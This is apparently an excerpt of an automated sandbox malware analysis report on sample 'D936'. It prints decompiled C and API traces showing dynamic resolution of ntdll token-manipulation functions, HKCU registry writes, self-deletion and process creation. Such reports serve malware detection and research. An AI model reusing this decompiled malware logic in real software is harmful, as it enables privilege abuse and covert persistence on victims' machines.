0x00408e26
0x00408e29
0x00408e2a
0x00408e6c
0x00408e6e
0x00408e79
0x00408ebe
0x00408e7b
0x00408e7b
0x00408e80
0x00408e86
0x00408e8c
0x00408e8f
0x00408e8f
0x00408e96
0x00408e9e
0x00408eab
0x00408eb4
0x00408eba
0x00408eba
0x00408ec4

APIs

CreateFileW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00408E5F
DeviceIoControl.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00408EAB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408EB4

Part of subcall function 00408DF1: GetSystemTime.KERNEL32(?,004129F8,?,?,00408E8B,?), ref: 00408DFC
Part of subcall function 00408DF1: SystemTimeToFileTime.KERNEL32(?,00408E8B,?,?,00408E8B,?), ref: 00408E0A

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$CloseControlCreateDeviceHandle
String ID:
API String ID: 3754425949-0
Opcode ID: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction ID: 6158522553dbc768b3fa764069f531a078bfca64040c8912efb0c234455cb59d
Opcode Fuzzy Hash: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction Fuzzy Hash: CD11C8726402047BEB115F95CD4EEDB3F6DEB85714F00452AF611B62C1DAB9985087A8

Uniqueness

Uniqueness Score: -1.00%

Function 004088B0, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004088B0(intOrPtr _a4) {
				intOrPtr _t98;
				void* _t99;
				intOrPtr _t101;

				_t101 = _a4;
				E0040EE2A(_t99, _t101, 0, 0x3e0);
				 *((intOrPtr*)(_t101 + 0xc0)) = __imp__#19;
				 *((intOrPtr*)(_t101 + 0xc4)) = __imp__#16;
				 *((intOrPtr*)(_t101 + 0xc8)) = __imp__#23;
				 *((intOrPtr*)(_t101 + 0xcc)) = __imp__#4;
				 *((intOrPtr*)(_t101 + 0xd0)) = __imp__#3;
				 *((intOrPtr*)(_t101 + 0xd4)) = __imp__#21;
				 *((intOrPtr*)(_t101 + 0xd8)) = __imp__#2;
				 *((intOrPtr*)(_t101 + 0xdc)) = __imp__#13;
				 *((intOrPtr*)(_t101 + 0xe0)) = __imp__#1;
				 *((intOrPtr*)(_t101 + 0xe4)) = __imp__#18;
				 *((intOrPtr*)(_t101 + 0xe8)) = __imp__#5;
				_t98 = __imp__#6;
				 *((intOrPtr*)(_t101 + 0x10)) = E00404861;
				 *((intOrPtr*)(_t101 + 0x14)) = E00405B84;
				 *((intOrPtr*)(_t101 + 0x18)) = E00404EF2;
				 *((intOrPtr*)(_t101 + 8)) = 0;
				 *((intOrPtr*)(_t101 + 0xc)) = 0;
				 *((intOrPtr*)(_t101 + 0x1c)) = E004038F0;
				 *((intOrPtr*)(_t101 + 0x20)) = E0040384F;
				 *((intOrPtr*)(_t101 + 0x134)) = E004035A5;
				 *((intOrPtr*)(_t101 + 0x24)) = E00408EC5;
				 *((intOrPtr*)(_t101 + 0x28)) = E00408EFA;
				 *((intOrPtr*)(_t101 + 0x2c)) = E00408F28;
				 *((intOrPtr*)(_t101 + 0x30)) = E00408F53;
				 *((intOrPtr*)(_t101 + 0x34)) = E004022B9;
				 *((intOrPtr*)(_t101 + 0x38)) = E004025B4;
				 *((intOrPtr*)(_t101 + 0x3c)) = E00408F87;
				 *((intOrPtr*)(_t101 + 0x54)) = E0040AD89;
				 *((intOrPtr*)(_t101 + 0x58)) = E0040B211;
				 *((intOrPtr*)(_t101 + 0x5c)) = E0040AEDD;
				 *((intOrPtr*)(_t101 + 0x60)) = E0040F304;
				 *((intOrPtr*)(_t101 + 0x64)) = E0040F428;
				 *((intOrPtr*)(_t101 + 0x68)) = E0040F43E;
				 *((intOrPtr*)(_t101 + 0x6c)) = E0040F483;
				 *((intOrPtr*)(_t101 + 0x70)) = 0x412104;
				 *((intOrPtr*)(_t101 + 0x74)) = E0040F26D;
				 *((intOrPtr*)(_t101 + 0x78)) = E0040F315;
				 *((intOrPtr*)(_t101 + 0x7c)) = E0040E52E;
				 *((intOrPtr*)(_t101 + 0x80)) = E0040E318;
				 *((intOrPtr*)(_t101 + 0x84)) = E0040EAAF;
				 *((intOrPtr*)(_t101 + 0x88)) = E0040E7B4;
				 *((intOrPtr*)(_t101 + 0x8c)) = E0040DD05;
				 *((intOrPtr*)(_t101 + 0x90)) = E0040E7FF;
				 *((intOrPtr*)(_t101 + 0x94)) = E0040DD69;
				 *((intOrPtr*)(_t101 + 0x98)) = E0040E819;
				 *((intOrPtr*)(_t101 + 0x9c)) = E0040E854;
				 *((intOrPtr*)(_t101 + 0xa0)) = E0040E8A1;
				 *((intOrPtr*)(_t101 + 0xa4)) = E0040EA84;
				 *((intOrPtr*)(_t101 + 0xa8)) = E0040DF4C;
				 *((intOrPtr*)(_t101 + 0xac)) = E0040DF70;
				 *((intOrPtr*)(_t101 + 0xb0)) = E0040E654;
				 *((intOrPtr*)(_t101 + 0xb4)) = E0040E749;
				 *((intOrPtr*)(_t101 + 0xb8)) = E004030B5;
				 *((intOrPtr*)(_t101 + 0xbc)) = 0;
				 *((intOrPtr*)(_t101 + 0xec)) = _t98;
				 *((intOrPtr*)(_t101 + 0xf0)) = E00402684;
				 *((intOrPtr*)(_t101 + 0xf4)) = E004026B2;
				 *((intOrPtr*)(_t101 + 0xf8)) = E00402EF8;
				 *((intOrPtr*)(_t101 + 0xfc)) = E00402F22;
				 *((intOrPtr*)(_t101 + 0x100)) = 0;
				 *((intOrPtr*)(_t101 + 0x104)) = 0;
				 *((intOrPtr*)(_t101 + 0x108)) = 0;
				 *((intOrPtr*)(_t101 + 0x10c)) = 0;
				 *((intOrPtr*)(_t101 + 0x110)) = 0;
				 *((intOrPtr*)(_t101 + 0x114)) = E0040A7C1;
				 *((intOrPtr*)(_t101 + 0x118)) = E00401FEB;
				 *((intOrPtr*)(_t101 + 0x11c)) = 0x401ffe;
				 *((intOrPtr*)(_t101 + 0x138)) = E00406509;
				 *((intOrPtr*)(_t101 + 0x140)) = E00405D34;
				 *((intOrPtr*)(_t101 + 0x144)) = E00405C05;
				 *((intOrPtr*)(_t101 + 0x148)) = E00405D93;
				 *((intOrPtr*)(_t101 + 0x14c)) = E00405E37;
				 *((intOrPtr*)(_t101 + 0x150)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x154)) = E00405E21;
				 *((intOrPtr*)(_t101 + 0x158)) = E00405CE1;
				 *((intOrPtr*)(_t101 + 0x15c)) = E00405DED;
				 *((intOrPtr*)(_t101 + 0x160)) = E00404EFD;
				 *((intOrPtr*)(_t101 + 0x164)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x168)) = E0040488C;
				 *((intOrPtr*)(_t101 + 0x174)) = E00404F13;
				 *((intOrPtr*)(_t101 + 0x178)) = E00404F50;
				 *((intOrPtr*)(_t101 + 0x17c)) = E004082BB;
				 *((intOrPtr*)(_t101 + 0x180)) = E004082C1;
				 *((intOrPtr*)(_t101 + 0x184)) = 0x4082c7;
				 *((intOrPtr*)(_t101 + 0x188)) = 0x408308;
				return _t98;
			}

0x004088b1
0x004088bf
0x004088c9
0x004088d4
0x004088df
0x004088ea
0x004088f5
0x00408900
0x0040890b
0x00408916
0x00408921
0x0040892c
0x00408937
0x0040893d
0x00408945
0x0040894c
0x00408953
0x0040895a
0x0040895d
0x00408960
0x00408967
0x0040896e
0x00408978
0x0040897f
0x00408986
0x0040898d
0x00408994
0x0040899b
0x004089a2
0x004089a9
0x004089b0
0x004089b7
0x004089be
0x004089c5
0x004089cc
0x004089d3
0x004089da
0x004089e1
0x004089e8
0x004089ef
0x004089f6
0x00408a00
0x00408a0a
0x00408a14
0x00408a1e
0x00408a28
0x00408a32
0x00408a3c
0x00408a46
0x00408a50
0x00408a5a
0x00408a64
0x00408a6e
0x00408a78
0x00408a82
0x00408a8c
0x00408a92
0x00408a98
0x00408aa2
0x00408aac
0x00408ab6
0x00408ac0
0x00408ac6
0x00408acc
0x00408ad2
0x00408ad8
0x00408adf
0x00408ae9
0x00408af3
0x00408afd
0x00408b07
0x00408b11
0x00408b1b
0x00408b25
0x00408b2f
0x00408b39
0x00408b43
0x00408b4d
0x00408b57
0x00408b61
0x00408b6b
0x00408b75
0x00408b7f
0x00408b89
0x00408b93
0x00408b9d
0x00408ba7
0x00408bb2

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction ID: 64893a5cec851924fefc00027ac9d8258265f32e823952a4835c6918c3f2ac29
Opcode Fuzzy Hash: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction Fuzzy Hash: 59714BB4501B41CFD360CF66D548782BBE0BB54308F10CD6ED5AAAB790DBB86588DF98

Uniqueness

Uniqueness Score: -1.00%

Function 022B9E89, Relevance: 59.9, APIs: 28, Strings: 6, Instructions: 421stringregistryfileCOMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 022B9E56
lstrcpy.KERNEL32(?,00000000), ref: 022B9FCA
lstrcat.KERNEL32(?,?), ref: 022B9FDB
lstrcat.KERNEL32(?,0041070C), ref: 022B9FED
GetFileAttributesExA.KERNEL32(?,?,?), ref: 022BA03D
DeleteFileA.KERNEL32(?), ref: 022BA088
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 022BA0BF
lstrcpy.KERNEL32 ref: 022BA118
lstrlen.KERNEL32(00000022), ref: 022BA125
GetTempPathA.KERNEL32(000001F4,?), ref: 022B9EFC

Part of subcall function 022B7012: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000), ref: 022B706A

Part of subcall function 022B6F19: GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\lzkmqbjh,022B702C), ref: 022B6F37
Part of subcall function 022B6F19: GetProcAddress.KERNEL32(00000000), ref: 022B6F3E
Part of subcall function 022B6F19: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 022B6F64
Part of subcall function 022B6F19: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 022B6F7B

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,?,00000103,?,?,?,?), ref: 022BA18B
RegSetValueExA.ADVAPI32(?,00000001,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 022BA1AE
GetModuleHandleA.KERNEL32(?,?,00000104,?,?,00000010,?,?,00000044,?,?,?,?,?,?,00000103), ref: 022BA1FD
GetModuleFileNameA.KERNEL32(00000000,?,?,00000104,?,?,00000010,?,?,00000044), ref: 022BA204
GetDriveTypeA.KERNEL32(?), ref: 022BA24E
lstrcat.KERNEL32(?,00000000), ref: 022BA288
lstrcat.KERNEL32(?,00410A34), ref: 022BA2AE
lstrcat.KERNEL32(?,00000022), ref: 022BA2C2
lstrcat.KERNEL32(?,00410A34), ref: 022BA2DD
wsprintfA.USER32 ref: 022BA306
lstrcat.KERNEL32(?,00000000), ref: 022BA32E
lstrcat.KERNEL32(?,?), ref: 022BA34D
CreateProcessA.KERNEL32(?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?,?,00000010), ref: 022BA370
DeleteFileA.KERNEL32(?,?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?), ref: 022BA381
RegCloseKey.ADVAPI32(?,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 022BA1BA

Part of subcall function 022B994F: RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 022B9986
Part of subcall function 022B994F: RegDeleteValueA.ADVAPI32(?,00000000), ref: 022B99A6
Part of subcall function 022B994F: RegCloseKey.ADVAPI32(?), ref: 022B99AF

GetModuleHandleA.KERNEL32(?,?,0000012C), ref: 022BA3C4
GetModuleFileNameA.KERNEL32(00000000,?,?,0000012C), ref: 022BA3CB
GetDriveTypeA.KERNEL32(00000022), ref: 022BA406

Strings

D, xrefs: 022BA1DE
\, xrefs: 022B9F5C
", xrefs: 022BA2C8
", xrefs: 022BA3D9
P, xrefs: 022B9FFA
", xrefs: 022BA12B

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: lstrcat$FileModule$DeleteHandle$CloseDirectoryDriveNameOpenProcessTypeValuelstrcpy$AddressAttributesCreateEnvironmentExitInformationPathProcSystemTempVariableVolumeWindowslstrlenwsprintf
String ID: "$"$"$D$P$\
API String ID: 1653845638-2605685093
Opcode ID: 0c11c2300bf8887d3437573fd553245dec9800ee399a6cc752f87376d7d629c9
Instruction ID: 282d3569a664097a10cd1135b68f4de4953f2dbe24dae60c40f970082b7a570b
Opcode Fuzzy Hash: 0c11c2300bf8887d3437573fd553245dec9800ee399a6cc752f87376d7d629c9
Instruction Fuzzy Hash: B9F151B1C5035AAFDF22DBE08C49FEE77BCAF08344F1444A6E609E6055DB758A848F64

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 56.2, APIs: 16, Strings: 16, Instructions: 170
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401000() {
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t3;
				signed int _t4;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				_Unknown_base(*)()* _t14;
				_Unknown_base(*)()* _t15;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				_Unknown_base(*)()* _t20;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				signed int _t34;
				signed int _t35;

				_t2 =  *0x413918;
				_t35 = _t34 | 0xffffffff;
				if(_t2 != 0) {
					L3:
					if( *0x41391c == 0 ||  *0x413920 == 0 ||  *0x413924 == 0 ||  *0x413928 == 0 ||  *0x41392c == 0 ||  *0x413930 == 0 ||  *0x413934 == 0 ||  *0x413938 == 0 ||  *0x41393c == 0 ||  *0x413940 == 0 ||  *0x413944 == 0 ||  *0x413948 == 0 ||  *0x41394c == 0 ||  *0x413950 == 0 ||  *0x413954 == 0) {
						_t3 = GetProcAddress(_t2, "RtlExpandEnvironmentStrings_U");
						 *0x41391c = _t3;
						if(_t3 == 0) {
							L34:
							_t4 = _t35;
						} else {
							_t35 = 0xfffffffe;
							_t6 = GetProcAddress( *0x413918, "RtlSetLastWin32Error");
							 *0x413920 = _t6;
							if(_t6 == 0) {
								goto L34;
							} else {
								_t35 = 0xfffffffd;
								_t7 = GetProcAddress( *0x413918, "NtTerminateProcess");
								 *0x413924 = _t7;
								if(_t7 == 0) {
									goto L34;
								} else {
									_t35 = 0xfffffffc;
									_t8 = GetProcAddress( *0x413918, "RtlFreeSid");
									 *0x413928 = _t8;
									if(_t8 == 0) {
										goto L34;
									} else {
										_t35 = 0xfffffffb;
										_t10 = GetProcAddress( *0x413918, "RtlInitUnicodeString");
										 *0x41392c = _t10;
										if(_t10 == 0) {
											goto L34;
										} else {
											_t35 = 0xfffffffa;
											_t11 = GetProcAddress( *0x413918, "NtSetInformationThread");
											 *0x413930 = _t11;
											if(_t11 == 0) {
												goto L34;
											} else {
												_t35 = 0xfffffff9;
												_t12 = GetProcAddress( *0x413918, "NtSetInformationToken");
												 *0x413934 = _t12;
												if(_t12 == 0) {
													goto L34;
												} else {
													_t35 = 0xfffffff8;
													_t14 = GetProcAddress( *0x413918, "RtlNtStatusToDosError");
													 *0x413938 = _t14;
													if(_t14 == 0) {
														goto L34;
													} else {
														_t35 = 0xfffffff7;
														_t15 = GetProcAddress( *0x413918, "NtClose");
														 *0x41393c = _t15;
														if(_t15 == 0) {
															goto L34;
														} else {
															_t35 = 0xfffffff6;
															_t16 = GetProcAddress( *0x413918, "NtOpenProcessToken");
															 *0x413940 = _t16;
															if(_t16 == 0) {
																goto L34;
															} else {
																_t35 = 0xfffffff5;
																_t18 = GetProcAddress( *0x413918, "NtDuplicateToken");
																 *0x413944 = _t18;
																if(_t18 == 0) {
																	goto L34;
																} else {
																	_t35 = 0xfffffff4;
																	_t19 = GetProcAddress( *0x413918, "RtlAllocateAndInitializeSid");
																	 *0x413948 = _t19;
																	if(_t19 == 0) {
																		goto L34;
																	} else {
																		_t35 = 0xfffffff3;
																		_t20 = GetProcAddress( *0x413918, "NtFilterToken");
																		 *0x41394c = _t20;
																		if(_t20 == 0) {
																			goto L34;
																		} else {
																			_t35 = 0xfffffff2;
																			_t22 = GetProcAddress( *0x413918, "RtlLengthSid");
																			 *0x413950 = _t22;
																			if(_t22 == 0) {
																				goto L34;
																			} else {
																				_t35 = 0xfffffff1;
																				_t23 = GetProcAddress( *0x413918, "NtQueryInformationToken");
																				 *0x413954 = _t23;
																				_t1 = _t35 + 0x10; // 0x100000001
																				_t4 = _t1;
																				if(_t23 == 0) {
																					goto L34;
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						return _t4;
					} else {
						return 1;
					}
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x413918 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x00401000
0x00401006
0x0040100b
0x00401023
0x0040102a
0x004010c2
0x004010c4
0x004010cb
0x0040127b
0x0040127b
0x004010d1
0x004010dc
0x004010e1
0x004010e3
0x004010ea
0x00000000
0x004010f0
0x004010fc
0x00401101
0x00401103
0x0040110a
0x00000000
0x00401110
0x0040111c
0x00401121
0x00401123
0x0040112a
0x00000000
0x00401130
0x0040113b
0x00401140
0x00401142
0x00401149
0x00000000
0x0040114f
0x0040115b
0x00401160
0x00401162
0x00401169
0x00000000
0x0040116f
0x0040117b
0x00401180
0x00401182
0x00401189
0x00000000
0x0040118f
0x0040119a
0x0040119f
0x004011a1
0x004011a8
0x00000000
0x004011ae
0x004011ba
0x004011bf
0x004011c1
0x004011c8
0x00000000
0x004011ce
0x004011da
0x004011df
0x004011e1
0x004011e8
0x00000000
0x004011ee
0x004011f9
0x004011fe
0x00401200
0x00401207
0x00000000
0x00401209
0x00401215
0x0040121a
0x0040121c
0x00401223
0x00000000
0x00401225
0x00401231
0x00401236
0x00401238
0x0040123f
0x00000000
0x00401241
0x0040124c
0x00401251
0x00401253
0x0040125a
0x00000000
0x0040125c
0x00401268
0x0040126d
0x0040126f
0x00401276
0x00401276
0x00401279
0x00000000
0x00000000
0x00401279
0x0040125a
0x0040123f
0x00401223
0x00401207
0x004011e8
0x004011c8
0x004011a8
0x00401189
0x00401169
0x00401149
0x0040112a
0x0040110a
0x004010ea
0x0040127f
0x004010ae
0x004010b4
0x004010b4
0x0040100d
0x00401012
0x00401018
0x0040101f
0x00000000
0x00401022
0x00401022
0x00401022
0x0040101f

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012
GetProcAddress.KERNEL32(?,RtlExpandEnvironmentStrings_U), ref: 004010C2
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 004010E1
GetProcAddress.KERNEL32(?,NtTerminateProcess), ref: 00401101
GetProcAddress.KERNEL32(?,RtlFreeSid), ref: 00401121
GetProcAddress.KERNEL32(?,RtlInitUnicodeString), ref: 00401140
GetProcAddress.KERNEL32(?,NtSetInformationThread), ref: 00401160
GetProcAddress.KERNEL32(?,NtSetInformationToken), ref: 00401180
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 0040119F
GetProcAddress.KERNEL32(?,NtClose), ref: 004011BF
GetProcAddress.KERNEL32(?,NtOpenProcessToken), ref: 004011DF
GetProcAddress.KERNEL32(?,NtDuplicateToken), ref: 004011FE
GetProcAddress.KERNEL32(?,RtlAllocateAndInitializeSid), ref: 0040121A

Strings

NtQueryInformationToken, xrefs: 00401262
RtlFreeSid, xrefs: 00401116
RtlInitUnicodeString, xrefs: 00401135
RtlLengthSid, xrefs: 00401246
NtDuplicateToken, xrefs: 004011F3
RtlAllocateAndInitializeSid, xrefs: 0040120F
NtSetInformationToken, xrefs: 00401175
NtTerminateProcess, xrefs: 004010F6
NtFilterToken, xrefs: 0040122B
RtlSetLastWin32Error, xrefs: 004010D6
NtClose, xrefs: 004011B4
NtSetInformationThread, xrefs: 00401155
RtlExpandEnvironmentStrings_U, xrefs: 004010BC
NtOpenProcessToken, xrefs: 004011D4
RtlNtStatusToDosError, xrefs: 00401194
ntdll.dll, xrefs: 0040100D

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtClose$NtDuplicateToken$NtFilterToken$NtOpenProcessToken$NtQueryInformationToken$NtSetInformationThread$NtSetInformationToken$NtTerminateProcess$RtlAllocateAndInitializeSid$RtlExpandEnvironmentStrings_U$RtlFreeSid$RtlInitUnicodeString$RtlLengthSid$RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 2238633743-3228201535
Opcode ID: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction ID: c8dd2db2df3f08e17c6117e54d1286841a2c4197db930f8a9693796d5e259140
Opcode Fuzzy Hash: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction Fuzzy Hash: 2F5100B1662641A6D7118F69EC84BD23AE86748372F14837B9520F62F0D7F8CAC1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042C24E, Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0042C292
_wcscat_s.LIBCMTD ref: 0042C4AA

Part of subcall function 00432030: __invalid_parameter.LIBCMTD ref: 004320A2

__invoke_watson_if_error.LIBCMTD ref: 0042C4B3

Part of subcall function 0041DD60: __invoke_watson.LIBCMTD ref: 0041DD81

_wcscat_s.LIBCMTD ref: 0042C4E2

Part of subcall function 00432030: _memset.LIBCMT ref: 0043210B
Part of subcall function 00432030: __invalid_parameter.LIBCMTD ref: 00432167

__invoke_watson_if_error.LIBCMTD ref: 0042C4EB
__invoke_watson_if_oneof.LIBCMTD ref: 0042C57D
_wcscpy_s.LIBCMTD ref: 0042C5C2
__invoke_watson_if_error.LIBCMTD ref: 0042C5CB
__cftoe.LIBCMTD ref: 0042C63F
__invoke_watson_if_oneof.LIBCMTD ref: 0042C66E
_wcscpy_s.LIBCMTD ref: 0042C6A6
__invoke_watson_if_error.LIBCMTD ref: 0042C6AF
__itow_s.LIBCMTD ref: 0042C289

Part of subcall function 00436B30: _xtow_s@20.LIBCMTD ref: 00436B5B

__strftime_l.LIBCMTD ref: 0042C349
__invoke_watson_if_oneof.LIBCMTD ref: 0042C382
_wcscpy_s.LIBCMTD ref: 0042C3C7
__invoke_watson_if_error.LIBCMTD ref: 0042C3D0
_wcscpy_s.LIBCMTD ref: 0042C423
__invoke_watson_if_error.LIBCMTD ref: 0042C42C
_wcscat_s.LIBCMTD ref: 0042C45D
__invoke_watson_if_error.LIBCMTD ref: 0042C466

Strings

t8j, xrefs: 0042C67D
h8^@, xrefs: 0042C65E
t9j, xrefs: 0042C8D5
`@, xrefs: 0042C3E4
h0b@, xrefs: 0042C440
h0b@, xrefs: 0042C659

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$__cftoe__invoke_watson__itow_s__strftime_l_memset_xtow_s@20
String ID: h0b@$h0b@$h8^@$t8j$t9j$`@
API String ID: 2916338978-3976991231
Opcode ID: 2b0d81ac274eec9a04d9354171c1689d01862dfb3718bec967013c7681fcef77
Instruction ID: 3f1994058d1b459daef6a85701dee7b3b00fa5cb68762bfcbb8f0fc87844659f
Opcode Fuzzy Hash: 2b0d81ac274eec9a04d9354171c1689d01862dfb3718bec967013c7681fcef77
Instruction Fuzzy Hash: 9602C3B4A40728ABEB20DF50DC46FDF7374AB14705F5041AAF6097A2C1D7B89A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B211, Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040B211(FILETIME* _a4, CHAR* _a8, signed int _a12) {
				struct _FILETIME _v12;
				struct _SYSTEMTIME _v28;
				CHAR* _v32;
				CHAR* _v36;
				CHAR* _v40;
				CHAR* _v44;
				CHAR* _v48;
				CHAR* _v52;
				CHAR* _v56;
				CHAR* _v60;
				CHAR* _v64;
				CHAR* _v68;
				CHAR* _v72;
				CHAR* _v76;
				CHAR* _v80;
				CHAR* _v84;
				CHAR* _v88;
				CHAR* _v92;
				CHAR* _v96;
				CHAR* _v100;
				CHAR* _v104;
				struct _TIME_ZONE_INFORMATION _v276;
				long _t77;
				signed int _t80;
				signed int _t93;
				signed int _t101;
				signed int _t102;
				CHAR* _t103;
				signed int _t104;
				signed short _t106;
				signed short _t109;
				signed int _t114;
				signed int _t115;
				void* _t117;

				_v56 = "Sun";
				_v52 = "Mon";
				_v48 = "Tue";
				_v44 = "Wed";
				_v40 = "Thu";
				_v36 = "Fri";
				_v32 = "Sat";
				_v104 = "Jan";
				_v100 = "Feb";
				_v96 = "Mar";
				_v92 = "Apr";
				_v88 = "May";
				_v84 = "Jun";
				_v80 = "Jul";
				_v76 = "Aug";
				_v72 = "Sep";
				_v68 = "Oct";
				_v64 = "Nov";
				_v60 = "Dec";
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v12);
					FileTimeToSystemTime( &_v12,  &_v28);
				} else {
					GetLocalTime( &_v28);
				}
				_t114 = _a12;
				if(_t114 != 0) {
					SystemTimeToFileTime( &_v28,  &_v12);
					_t93 = E0040ECA5();
					if(_t114 <= 0) {
						_t104 = _t93 %  ~_t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime - _t104;
						asm("sbb [ebp-0x4], ebx");
					} else {
						_t104 = _t93 % _t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime + _t104;
						asm("adc [ebp-0x4], ebx");
					}
					FileTimeToSystemTime( &_v12,  &_v28);
				}
				_v276.Bias = 0;
				_t77 = GetTimeZoneInformation( &_v276);
				_t101 = _v276.Bias;
				if(_t77 == 2) {
					_t101 = _t101 + _v276.DaylightBias;
				}
				_t102 =  ~_t101;
				asm("cdq");
				_t80 = (_t102 ^ _t104) - _t104;
				if(_v28.wDayOfWeek > 6) {
					_t109 = 6;
					_v28.wDayOfWeek = _t109;
				}
				if(_v28.wMonth == 0) {
					_v28.wMonth = 1;
				}
				if(_v28.wMonth > 0xc) {
					_t106 = 0xc;
					_v28.wMonth = _t106;
				}
				_t103 = "+";
				if(_t102 < 0) {
					_t103 = "-";
				}
				_t115 = 0x3c;
				asm("cdq");
				return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t117 + (_v28.wDayOfWeek & 0x0000ffff) * 4 - 0x34)), _v28.wDay & 0x0000ffff,  *((intOrPtr*)(_t117 + (_v28.wMonth & 0x0000ffff) * 4 - 0x68)), _v28.wYear & 0x0000ffff, _v28.wHour & 0x0000ffff, _v28.wMinute & 0x0000ffff, _v28.wSecond & 0x0000ffff, _t103, _t80 / _t115, _t80 % _t115);
			}

0x0040b225
0x0040b22c
0x0040b233
0x0040b23a
0x0040b241
0x0040b248
0x0040b24f
0x0040b256
0x0040b25d
0x0040b264
0x0040b26b
0x0040b272
0x0040b279
0x0040b280
0x0040b287
0x0040b28e
0x0040b295
0x0040b29c
0x0040b2a3
0x0040b2ad
0x0040b2c2
0x0040b2d0
0x0040b2af
0x0040b2b3
0x0040b2b3
0x0040b2d2
0x0040b2d7
0x0040b2e1
0x0040b2e7
0x0040b2f0
0x0040b306
0x0040b30c
0x0040b30f
0x0040b2f2
0x0040b2f4
0x0040b2fa
0x0040b2fd
0x0040b2fd
0x0040b31a
0x0040b31a
0x0040b323
0x0040b329
0x0040b32f
0x0040b338
0x0040b33a
0x0040b33a
0x0040b33d
0x0040b341
0x0040b344
0x0040b34b
0x0040b34f
0x0040b350
0x0040b350
0x0040b358
0x0040b35d
0x0040b35d
0x0040b366
0x0040b36a
0x0040b36b
0x0040b36b
0x0040b371
0x0040b376
0x0040b378
0x0040b378
0x0040b37f
0x0040b380
